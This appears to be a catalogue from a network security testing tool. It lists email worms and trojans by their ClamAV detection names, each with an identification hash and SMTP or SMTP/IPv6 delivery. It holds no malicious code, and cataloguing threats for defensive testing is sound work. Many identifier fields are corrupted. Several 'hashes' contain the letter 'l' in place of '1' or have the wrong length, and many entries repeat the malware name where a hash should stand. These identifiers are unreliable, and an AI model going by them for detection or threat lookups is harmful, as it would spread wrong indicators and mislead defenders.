Executive Description:	Email Virus W32.IWorm.Haiku (IPv6 Version)
Detailed Description:	This is the email virus W32.IWorm.Haiku as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc41f4637a734b9eaca74dfa9bel3efc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Newman.89d7b360_IPv6.xml
Executive Description:	Email Virus Worm.Newman (IPv6 Version)
Detailed Description:	This is the email virus Worm.Newman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89d7b360be467311a9be2b1e8ff9fde8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.M.d93a6fa8.xml
Executive Description:	Email Virus VBS.PicaWorm.M
Detailed Description:	This is the email virus VBS.PicaWorm.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d93a6fa876a50af2b2d43021ec6533c8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fagled.fag.10054a7d.xml
Executive Description:	Email Virus Email-Worm.Win32.Fagled.fag
Detailed Description:	This is the email virus Email-Worm.Win32.Fagled.fag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fagled.fag. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.e2e88852_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2e888520a36ed5543d2658633b14aaa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sysnom.94c40237.xml
Executive Description:	Email Virus Worm.Sysnom
Detailed Description:	This is the email virus Worm.Sysnom as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94c40237c0b9929e806cca9293d1a825. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.Y.23cd4244_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.Y (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 23cd4244fd4eb14ca42f4af89f576dac. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W98.Hybris.E.40256df2.xml
Executive Description:	Email Virus W98.Hybris.E
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 40256df28df89975a6c586cf0433c881. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Numgame.num.d06636e3_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Numgame.num (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Numgame.num as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Numgame.num. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.a.07ccb143_IPv6.xml
Executive Description:	Email Virus Worm.Jerm.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 07ccb143c668ab02cf338309af170782. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kuasa.c15a7ael.xml
Executive Description:	Email Virus Worm.Kuasa
Detailed Description:	This is the email virus Worm.Kuasa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c15a7ael8bba46cfee9b16dfb79bcff1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.a.a.333bd791_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	W32.Zhangpo.0caf68d0_IPv6.xml
Executive Description:	Email Virus W32.Zhangpo (IPv6 Version)
Detailed Description:	This is the email virus W32.Zhangpo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0caf68d0c020974e90f9637456fcf741. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VWS.e280eb68.xml
Executive Description:	Email Virus Worm.VWS
Detailed Description:	This is the email virus Worm.VWS as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e280eb68f84f62a09e74adad7bc8619b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.a.a.cbcd34a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Psych.85de9cbe_IPv6.xml
Executive Description:	Email Virus Worm.Psych (IPv6 Version)
Detailed Description:	This is the email virus Worm.Psych as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85de9cbebf1ff04f8df17182276c03a8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.75355112_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7535511290b8e42ca775330bdb110a68. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AB.06e4cf3d.xml
Executive Description:	Email Virus Worm.SomeFool.AB
Detailed Description:	This is the email virus Worm.SomeFool.AB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e4cf3d33f5ed9af43fe012c759bda60. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anel.ane.bfdb80c8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Anel.ane (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Anel.ane as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anel.ane. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.e4963d61_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4963d61a4194ad5993cdle99d32d7e8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.PornoChat.1391ae35_IPv6.xml
Executive Description:	Email Virus W95.PornoChat (IPv6 Version)
Detailed Description:	This is the email virus W95.PornoChat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1391ae359bcc289468dde43885bc2147. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Goround.gor.20a2a423.xml
Executive Description:	Email Virus Email-Worm.Win32.Goround.gor
Detailed Description:	This is the email virus Email-Worm.Win32.Goround.gor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Goround.gor. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kuasa.B.51d3clf7_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51d3clf7120db362418213f3e360bab8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	VBS.SSIWG.41aa7997.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41aa799726d2ef98834c70e1049b94f7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.75ac02ae.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75ac02ae1434f73b37736c3e2f62c9d5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trader.63119305_IPv6.xml
Executive Description:	Email Virus Worm.Trader (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trader as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6311930555c77ae2d0b39bfelb267958. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4c136071_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c136071ba423c576f7a4b7668860593. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Mantan.man.74c989a2.xml
Executive Description:	Email Virus Email-Worm.VBS.Mantan.man
Detailed Description:	This is the email virus Email-Worm.VBS.Mantan.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Mantan.man. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.b.b.64407db1_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.aa389c47_IPv6.xml
Executive Description:	Email Virus W32.Ultratt.gz (IPv6 Version)
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aa389c47e3c7a4c2c71af9aebc26b5f9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.6494cc24_IPv6.xml
Executive Description:	Email Virus Worm.Maldal.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6494cc242ba8c240eded731dee655e4a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SillyWorm.a.a.6b2487fc_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.SillyWorm.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.SillyWorm.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SillyWorm.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Homepage.fbbfea3a_IPv6.xml
Executive Description:	Email Virus Worm.Homepage (IPv6 Version)
Detailed Description:	This is the email virus Worm.Homepage as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fbbfea3aede7415913fd6f75f893a44. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.2a5b7d8d.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a5b7d8de10f1c5197a179cc5b21f46b. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.31b83200_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 31b83200339c7640acfe5dbe054ac122. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.ci.52b8f283.xml
Executive Description:	Email Virus Worm.Lee.ci
Detailed Description:	This is the email virus Worm.Lee.ci as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b8f283b9f62df8d8b0b4c877068601. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Vabian.A.fc1fb498.xml
Executive Description:	Email Virus VBS.Vabian.A
Detailed Description:	This is the email virus VBS.Vabian.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc1fb498aac64d710ba367080ec93453. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-2.d4a36779.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-2
Detailed Description:	This is the email virus Worm.SomeFool.Gen-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4a3677976b656aec6afcf2e03459a8d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neton.net.022d587f.xml
Executive Description:	Email Virus Email-Worm.Win32.Neton.net
Detailed Description:	This is the email virus Email-Worm.Win32.Neton.net as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neton.net. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Tempex.tem.be3e41bf.xml
Executive Description:	Email Virus Email-Worm.Win32.Tempex.tem
Detailed Description:	This is the email virus Email-Worm.Win32.Tempex.tem as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Tempex.tem. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Futonik.11b9bdcf_IPv6.xml
Executive Description:	Email Virus Worm.Futonik (IPv6 Version)
Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11b9bdcf7a7f40c0a0892d3ac8caabc9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.b05d6259.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b05d62592752bdba6ccf9cf66683d11f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BadTrans.1.39c85a0d_IPv6.xml
Executive Description:	Email Virus Worm.BadTrans.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.BadTrans.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c85a0d847aa21c7dedd69dca7ae9bc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.FreeTrip.d.d.2a8a6ecc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.FreeTrip.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.FreeTrip.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.FreeTrip.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.A.a24ff177_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.A (IPv6 Version)

Detailed Description:	This is the email virus Worm.Sobig.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a24ff17709f1c162ccad34d5646a493a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.e.f8ad9e75_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.e (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f8ad9e75d3fbc6b1023ae5190bbb87ca. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mimail.C.3d95b8ad.xml
Executive Description:	Email Virus Worm.Mimail.C
Detailed Description:	This is the email virus Worm.Mimail.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d95b8addf409585be964c28e65499b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.NHKR.b.565b3f57.xml
Executive Description:	Email Virus Worm.NHKR.b
Detailed Description:	This is the email virus Worm.NHKR.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 565b3f5732949bd76ad8c0438ca755b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heather.b22c1405.xml
Executive Description:	Email Virus Worm.Heather
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b22c140576e71cdae04313fb56d04611. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Netav.b.b.7ecd458b.xml
Executive Description:	Email Virus Email-Worm.Win32.Netav.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Netav.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Netav.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Without.b.b.f331646b_IPv6.xml
Executive Description:	Email Virus Email-Worm.BAT.Without.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.Without.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Without.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.FunnyPics.ce281ff3_IPv6.xml
Executive Description:	Email Virus Worm.FunnyPics (IPv6 Version)
Detailed Description:	This is the email virus Worm.FunnyPics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce281ff3a0cbdea45f1f5757052e369b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.b.b.8827c3bb_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Anaphylaxis.0231c3a7_IPv6.xml
Executive Description:	Email Virus Anaphylaxis (IPv6 Version)
Detailed Description:	This is the email virus Anaphylaxis as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0231c3a7d92ead1bad77819d5bda939d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.038c9db8_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 038c9db8159da91bf0c8dea72618b10a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Quocus.256c8660_IPv6.xml

Executive Description:	Email Virus Worm.Quocus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 256c86605d1aa46c85dc8027103828cf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.HomePage.1.443c5c4c_IPv6.xml
Executive Description:	Email Virus VBS.HomePage.1 (IPv6 Version)
Detailed Description:	This is the email virus VBS.HomePage.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 443c5c4c2eea29c0855f09116d02c3b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Music.B.adaf15fb.xml
Executive Description:	Email Virus Worm.Music.B
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adaf15fbe59a45981091cd103e196bfc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.55aac909.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55aac9091886877d5124bcf27d6bfd84. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Greel.A.901f172b.xml
Executive Description:	Email Virus Worm.Greel.A
Detailed Description:	This is the email virus Worm.Greel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 901f172bb73f98d86898fde8e67495c1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.VBSWG.Gen.385962f3.xml
Executive Description:	Email Virus VBS.VBSWG.Gen
Detailed Description:	This is the email virus VBS.VBSWG.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 385962f3043cf332ba91c5b55944145b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Newlove.D.d2b8ea4a_IPv6.xml
Executive Description:	Email Virus VBS.Newlove.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.Newlove.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2b8ea4a267c69040c7d3ad80f64f8ba. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yarner.a.a.64218ac8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Yarner.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Yarner.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yarner.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mimail.k.k.290995b4.xml
Executive Description:	Email Virus Email-Worm.Win32.Mimail.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.Mimail.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mimail.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.948173af.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 948173afec9a719966160ec12de05bd3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.nih.3b31cc70.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.nih
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.nih as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.nih. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.Horid.hor.365887be.xml
Executive Description:	Email Virus Email-Worm.VBS.Horid.hor
Detailed Description:	This is the email virus Email-Worm.VBS.Horid.hor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horid.hor. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Hely.hel.56be140f.xml
Executive Description:	Email Virus Email-Worm.VBS.Hely.hel
Detailed Description:	This is the email virus Email-Worm.VBS.Hely.hel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Hely.hel. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Heidi.33a4b865_IPv6.xml
Executive Description:	Email Virus W32.Heidi (IPv6 Version)
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 33a4b865b753d5f069ea4037b84298b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Shoho.8240078d_IPv6.xml
Executive Description:	Email Virus W32.Shoho (IPv6 Version)
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8240078d1a3fcdda7cb14c23795ec50d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Santen.A.e546e24f.xml
Executive Description:	Email Virus Worm.Santen.A
Detailed Description:	This is the email virus Worm.Santen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e546e24f1cf46e6c037f21f3340a4ac4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WXP.Kallisti.b7f7ed86_IPv6.xml
Executive Description:	Email Virus WXP.Kallisti (IPv6 Version)
Detailed Description:	This is the email virus WXP.Kallisti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7f7ed86d457fec2493db21e8886b981. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Relix.A.27f07ae4.xml
Executive Description:	Email Virus BAT.Relix.A
Detailed Description:	This is the email virus BAT.Relix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27f07ae42b6f6ebf7f5c316f0efc0e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Saros.A.e7f16ccd_IPv6.xml
Executive Description:	Email Virus Worm.Saros.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Saros.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7f16ccd5113cb589dc385e797908d23b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Pinbol.A.056321b1_IPv6.xml
Executive Description:	Email Virus Trojan.Pinbol.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Pinbol.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 056321b10c624667cd88caa4b508d405. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bater.a.exe.c0d5abbe.xml
Executive Description:	Email Virus Email-Worm.Win32.Bater.a.exe
Detailed Description:	This is the email virus Email-Worm.Win32.Bater.a.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bater.a.exe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Santa.c8e2086f.xml
Executive Description:	Email Virus Worm.Santa
Detailed Description:	This is the email virus Worm.Santa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8e2086f19ddac0c1eld923511556af5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.DDV.c.c.9blb30a4.xml
Executive Description:	Email Virus Email-Worm.VBS.DDV.c.c
Detailed Description:	This is the email virus Email-Worm.VBS.DDV.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DDV.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
